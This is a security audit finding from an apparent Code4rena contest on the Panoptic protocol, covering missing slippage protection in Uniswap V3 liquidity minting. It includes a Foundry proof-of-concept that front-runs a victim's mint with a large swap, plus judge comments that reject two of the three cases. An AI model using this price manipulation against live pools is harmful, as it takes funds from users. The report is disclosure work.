Lack of slippage protection allows to steal from users

[c4-bot-3]

Lines of code

https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/SemiFungiblePositionManager.sol#L1203-L1209 https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/SemiFungiblePositionManager.sol#L788-L850 https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/PanopticFactory.sol#L341-L410

Vulnerability details

There are multiple places where Panoptic does not protect against slippage and uses spot price (e.g. reading price from slot0). We identified 3 most severe cases that impact users and allow for huge losses for the protocol users:

Case 1

When position is created, either via PanopticPool or via SFPM, UniswapPool.mint() is called. It is a lo level function, that usually should be called via periphery contracts and verify if user liquidity was added with the amount expected. However in case of Panoptic there is no protection against that, because user passes only "liquidity" that will be minted and then UniswapPool calculated how much erc20 to get from user, but this amount is highly manipulable. The code in Panoptic:

    function _mintLiquidity(
        LiquidityChunk liquidityChunk,
        IUniswapV3Pool univ3pool
    ) internal returns (LeftRightSigned movedAmounts) {
        // [...]
        (uint256 amount0, uint256 amount1) = univ3pool.mint(
            address(this),
            liquidityChunk.tickLower(),
            liquidityChunk.tickUpper(),
            liquidityChunk.liquidity(),
            mintdata
        );

//[...]
    function uniswapV3MintCallback(
        uint256 amount0Owed,
        uint256 amount1Owed,
        bytes calldata data
    ) external {
        // Decode the mint callback data
        CallbackLib.CallbackData memory decoded = abi.decode(data, (CallbackLib.CallbackData));
        // Validate caller to ensure we got called from the AMM pool
        CallbackLib.validateCallback(msg.sender, FACTORY, decoded.poolFeatures);
        // Sends the amount0Owed and amount1Owed quantities provided
        if (amount0Owed > 0)
            SafeTransferLib.safeTransferFrom(
                decoded.poolFeatures.token0,
                decoded.payer,
                msg.sender,
                amount0Owed
            );
        if (amount1Owed > 0)
            SafeTransferLib.safeTransferFrom(
                decoded.poolFeatures.token1,
                decoded.payer,
                msg.sender,
                amount1Owed
            );
    }

In case of Uniswap, mint funciton looks like this:

    function mint(
        address recipient,
        int24 tickLower,
        int24 tickUpper,
        uint128 amount,
        bytes calldata data
    ) external override lock returns (uint256 amount0, uint256 amount1) {
        require(amount > 0);
        (, int256 amount0Int, int256 amount1Int) =
            _modifyPosition(
                ModifyPositionParams({
                    owner: recipient,
                    tickLower: tickLower,
                    tickUpper: tickUpper,
                    liquidityDelta: int256(amount).toInt128()
                })
            );

        amount0 = uint256(amount0Int);
        amount1 = uint256(amount1Int);

        uint256 balance0Before;
        uint256 balance1Before;
        if (amount0 > 0) balance0Before = balance0();
        if (amount1 > 0) balance1Before = balance1();
        IUniswapV3MintCallback(msg.sender).uniswapV3MintCallback(amount0, amount1, data);

function _modifyPosition() is a bit complex, but you can see there that the amount that will be taken from user is dependent on current asset price and square root at given tick:

                amount0 = SqrtPriceMath.getAmount0Delta(
                    TickMath.getSqrtRatioAtTick(params.tickLower),
                    TickMath.getSqrtRatioAtTick(params.tickUpper),
                    params.liquidityDelta
                );
            } else if (_slot0.tick < params.tickUpper) {
                // current tick is inside the passed range
                uint128 liquidityBefore = liquidity; // SLOAD for gas optimization

                // write an oracle entry
                (slot0.observationIndex, slot0.observationCardinality) = observations.write(
                    _slot0.observationIndex,
                    _blockTimestamp(),
                    _slot0.tick,
                    liquidityBefore,
                    _slot0.observationCardinality,
                    _slot0.observationCardinalityNext
                );

                amount0 = SqrtPriceMath.getAmount0Delta(
                    _slot0.sqrtPriceX96,
                    TickMath.getSqrtRatioAtTick(params.tickUpper),
                    params.liquidityDelta
                );
                amount1 = SqrtPriceMath.getAmount1Delta(
                    TickMath.getSqrtRatioAtTick(params.tickLower),
                    _slot0.sqrtPriceX96,
                    params.liquidityDelta
                );

                liquidity = LiquidityMath.addDelta(liquidityBefore, params.liquidityDelta);
            } else {
                // current tick is above the passed range; liquidity can only become in range by crossing from right to
                // left, when we'll need _more_ token1 (it's becoming more valuable) so user must provide it
                amount1 = SqrtPriceMath.getAmount1Delta(
                    TickMath.getSqrtRatioAtTick(params.tickLower),
                    TickMath.getSqrtRatioAtTick(params.tickUpper),
                    params.liquidityDelta
                );

According to Uniswap docs

The amount of token0/token1 due depends on tickLower, tickUpper, the amount of liquidity, and the current price.

Case 2

When creating a position, it's possible to have optional swap, in case that the position is created in the money, meaning that the position consists partly of token0 and partly of token1. Then, if user passes min tick above max tick, swap is performed. However, the swap doesn't have any slippage protection, even though it's possible to manipulate the pool before hand. Slippage in this case is hardcoded either to MIN_V3POOL_SQRT_RATIO or MAX_V3POOL_SQRT_RATIO, depending on swap direction:

    function swapInAMM(
        IUniswapV3Pool univ3pool,
        LeftRightSigned itmAmounts
    ) internal returns (LeftRightSigned totalSwapped) {
//[...]
            // swap tokens in the Uniswap pool
            // @dev note this triggers our swap callback function
            (int256 swap0, int256 swap1) = _univ3pool.swap(
                msg.sender,
                zeroForOne,
                swapAmount,
                zeroForOne
                    ? Constants.MIN_V3POOL_SQRT_RATIO + 1 // @audit there's no protection, even though the user places min and max tick, from which sqrt ratio is calculated
                    : Constants.MAX_V3POOL_SQRT_RATIO - 1,
                data
            );

Case 3

When deploying new pool, user is obligated to mint full range liquidity. It also uses slot0 and no slippage protection:

    function _mintFullRange(
        IUniswapV3Pool v3Pool,
        address token0,
        address token1,
        uint24 fee
    ) internal returns (uint256, uint256) {
        (uint160 currentSqrtPriceX96, , , , , , ) = v3Pool.slot0();
// [...]
        uint128 fullRangeLiquidity;
// [...]
            } else {
                // Find the resulting liquidity for providing 1e6 of both tokens
                uint128 liquidity0 = uint128(
                    Math.mulDiv96RoundingUp(FULL_RANGE_LIQUIDITY_AMOUNT_TOKEN, currentSqrtPriceX96)
                );
                uint128 liquidity1 = uint128(
                    Math.mulDivRoundingUp(
                        FULL_RANGE_LIQUIDITY_AMOUNT_TOKEN,
                        Constants.FP96,
                        currentSqrtPriceX96
                    )
                );

                // Pick the greater of the liquidities - i.e the more "expensive" option
                // This ensures that the liquidity added is sufficiently large
                fullRangeLiquidity = liquidity0 > liquidity1 ? liquidity0 : liquidity1; // @audit user can sandwich this transaction and make user pay any amount that user approves, leading to unlimited losses
// [...]
        return
            IUniswapV3Pool(v3Pool).mint(
                address(this),
                tickLower,
                tickUpper,
                fullRangeLiquidity, // @audit liquidity is based on slot0, which is highly manipulable
                mintCallback
            );

Impact

Stealing from users due to lack of slippage protection

Proof of Concept

The following test shows how the same mint behaves for situation where there is no frontrunning, then state is reverted and second case is shown - this time with frontrunning. This shows Case 1 described above, however other cases work similarly. Add following to SemiFungiblePositionManager.t.sol:

    function uniswapV3SwapCallback(
        int256 amount0Delta,
        int256 amount1Delta,
        bytes calldata data
    ) external {
        // Decode the swap callback data, checks that the UniswapV3Pool has the correct address.
        CallbackLib.CallbackData memory decoded = abi.decode(data, (CallbackLib.CallbackData));

        // Extract the address of the token to be sent (amount0 -> token0, amount1 -> token1)
        address token = amount0Delta > 0
            ? address(decoded.poolFeatures.token0)
            : address(decoded.poolFeatures.token1);

        // Transform the amount to pay to uint256 (take positive one from amount0 and amount1)
        // the pool will always pass one delta with a positive sign and one with a negative sign or zero,
        // so this logic always picks the correct delta to pay
        uint256 amountToPay = amount0Delta > 0 ? uint256(amount0Delta) : uint256(amount1Delta);

        // Pay the required token from the payer to the caller of this contract

        // Transform the amount to pay to uint256 (take positive one from amount0 and amount1)
        // the pool will always pass one delta with a positive sign and one with a negative sign or zero,
        deal(token, address(this), type(uint128).max);

        SafeTransferLib.safeTransferFrom(token, address(this), msg.sender, amountToPay);
    }

    function test_del_Success_mintTokenizedPosition_InRangeShortPutNoSwap(
    ) public {
        uint256 x = 1;
        uint256 widthSeed = 5;
        int256 strikeSeed = 5;
        uint256 positionSizeSeed = 1e4;
        _initPool(x);

        (int24 width, int24 strike) = PositionUtils.getInRangeSW(
            widthSeed,
            strikeSeed,
            uint24(tickSpacing),
            currentTick
        );

        populatePositionData(width, strike, positionSizeSeed);

        /// position size is denominated in the opposite of asset, so we do it in the token that is not WETH
        TokenId tokenId = TokenId.wrap(0).addPoolId(poolId).addLeg(
            0,
            1,
            isWETH,
            0,
            1,
            0,
            strike,
            width
        );

        uint256 poolLiquidity = IERC20(WETH).balanceOf(address(pool));
        console.log("Pool liquidity ", poolLiquidity);
        uint256 snapshot = vm.snapshot();

        console.log("===== TEST WITHOUT FRONTRUNNING =====");
        _swapAlice(tokenId, positionSize);

        vm.revertTo(snapshot);

        vm.stopPrank();

        console.log("===== TEST INCLUDING FRONTRUNNING =====");
        bytes memory data;
        data = abi.encode(
            CallbackLib.CallbackData({
                poolFeatures: CallbackLib.PoolFeatures({
                    token0: pool.token0(),
                    token1: pool.token1(),
                    fee: pool.fee()
                }),
                payer: msg.sender
            })
        );

        bool zeroforone = false;
        (int256 swap0, int256 swap1) = pool.swap(
            address(this),
            zeroforone,
            int256(1e18 * 2000), // exchange to 1000 ETH
            // int256(poolLiquidity * 80 / 100), // exchange to 1000 ETH
            zeroforone
                ? Constants.MIN_V3POOL_SQRT_RATIO + 1
                : Constants.MAX_V3POOL_SQRT_RATIO - 1,
                data
        );

        if (swap0 < 0) {
            console.log("swapped %s to %s", uint256(-swap0), uint256(swap1));
        } else {
            console.log("swapped %s to %s", uint256(swap0), uint256(-swap1));
        }

        _swapAlice(tokenId, positionSize);
    }

    function _swapAlice(TokenId tokenId, uint256 positionSize) internal {
        vm.startPrank(Alice); // return to alice pranked in _initWorld
        uint balanceBefore = IERC20(WETH).balanceOf(Alice);
        console.log("Weth balance before ", balanceBefore);
        (LeftRightUnsigned[4] memory collectedByLeg, LeftRightSigned totalSwapped) = sfpm
            .mintTokenizedPosition(
                tokenId,
                uint128(positionSize),
                TickMath.MIN_TICK,
                TickMath.MAX_TICK
            );

        uint balanceAfter = IERC20(WETH).balanceOf(Alice);
        console.log("Weth balance after ", balanceAfter);
        console.log("Weth balance difference ", balanceBefore - balanceAfter);
        console.log("Weth balance difference in ETH ", (balanceBefore - balanceAfter) / 1e18);
        assertEq(
            LeftRightUnsigned.unwrap(collectedByLeg[0]) +
                LeftRightUnsigned.unwrap(collectedByLeg[1]) +
                LeftRightUnsigned.unwrap(collectedByLeg[2]) +
                LeftRightUnsigned.unwrap(collectedByLeg[3]),
            0
        );
    }

Additionally, adding import "forge-std/Test.sol"; at the beggining might be required.

Test results will differ based on the current block of test simulation, at the time of running this tests, the results where following:

Running 1 test for test/foundry/core/SemiFungiblePositionManager.t.sol:SemiFungiblePositionManagerTest
[PASS] test_del_Success_mintTokenizedPosition_InRangeShortPutNoSwap() (gas: 2466717)
Logs:
  Bound Result 1
  Bound Result 5
  Bound result 19595
  Bound Result 9999999000000000010001
  Pool liquidity  29353774157942939218264
  ===== TEST WITHOUT FRONTRUNNING =====
  Weth balance before  340282366920938463463374607431768211455
  In Uni mint callback. Owed 30943253459386 & 16740252871610652754
  minted amounts 30943253459386 : 16740252871610652754
  Weth balance after  340282366920938463446634354560157558701
  Weth balance difference  16740252871610652754
  Weth balance difference in ETH  16
  ===== TEST INCLUDING FRONTRUNNING =====
  swapped 6131292561835 to 2000000000000000000000
  Weth balance before  340282366920938463463374607431768211455
  In Uni mint callback. Owed 0 & 10025029020509401692180
  minted amounts 0 : 10025029020509401692180
  Weth balance after  340282366920938453438345586922366519275
  Weth balance difference  10025029020509401692180
  Weth balance difference in ETH  10025

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 29.99s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

The results show that in one case user paid 16 WETH, in the other 10025, meaning that we were able to seriously manipulate the price of the asset, leading to serious user loss.

Tools Used

Manual Review

Recommended Mitigation Steps

Please introduce proper slippage protection. Generalized MEV bots are very sophisticated, and without any adjustments will be able to exploit unprotected swap sin UniswapV3 pools.

Assessed type

MEV

[c4-judge]

Picodes marked the issue as unsatisfactory: Invalid

[Picodes]

Case 1: see https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/SemiFungiblePositionManager.sol#L727 Case 2: the check is done on the tick Case 3: on pool creation so no risk of frontrunning

[0xSorryNotSorry]

Dear @Picodes ,

Thanks for judging the contest, I appreciate the hard work.

Could you please take a look at this issue again, more specifically case number 3. Issue #537, which was accepted as valid MED talks specifically about the case 3 I described in my finding.

In my submission, I stated:

When deploying new pool, user is obligated to mint full range liquidity. It also uses slot0 and no slippage protection.

Issue #537 talks about the same:

The spot price is used to calculate the range liquidity for each token

I also provided the same vulnerable code part. Hence, I believe that my finding should be grouped with #537

[Picodes]

Indeed, thanks for flagging

[c4-judge]

Picodes marked the issue as duplicate of #537

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes changed the severity to 2 (Med Risk)